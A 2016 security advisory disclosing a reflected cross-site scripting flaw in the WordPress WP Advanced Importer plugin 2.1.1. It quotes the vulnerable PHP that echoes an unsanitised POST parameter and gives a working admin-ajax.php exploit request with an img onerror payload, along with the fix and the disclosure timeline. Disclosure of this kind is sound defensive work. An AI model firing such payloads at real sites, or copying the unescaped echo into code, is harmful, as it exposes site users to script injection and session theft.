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WordPress WP Advanced Importer 2.1.1 Cross Site Scripting

WordPress WP Advanced Importer 2.1.1 Cross Site Scripting
Posted Feb 24, 2016
Authored by Rahul Pratap Singh

WordPress WP Advanced Importer plugin version 2.1.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 220d535ae443e0cba547ef10842f3d74

WordPress WP Advanced Importer 2.1.1 Cross Site Scripting

Change Mirror Download
## FULL DISCLOSURE


#Product : WP Advanced Importer
#Exploit Author : Rahul Pratap Singh
#Version : 2.1.1
#Home page Link : https://wordpress.org/plugins/wp-advanced-importer/
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 23/Feb/2016

XSS Vulnerability:

----------------------------------------
Description:
----------------------------------------
"alertmsg" parameter is not sanitized that leads to Reflected XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------
File: index.php

function trans_xmlalert_str(){
if(isset($_POST['alertmsg']))
echo __($_POST['alertmsg'],'wp-advanced-importer');

die();

----------------------------------------
Exploit:
----------------------------------------
POST wordpress/wp-admin/admin-ajax.php

action=trans_xmlalert_str&alertmsg="><img src=x onerror=alert(1)>


----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/02/wp-advanced-importerxsspoc.png?w=1700

Fix:
Update to 2.2

Vulnerability Disclosure Timeline:
→ January 30, 2016 – Bug discovered, initial report to WordPress
→ February 1, 2016 – WordPress response, plugin taken down
→ February 23, 2016 – Vendor Deployed a Patch

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com<http://www.ctgsecuritysolutions.com/> #
#######################################

Pub Ref:
https://wordpress.org/plugins/wp-advanced-importer/changelog/

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

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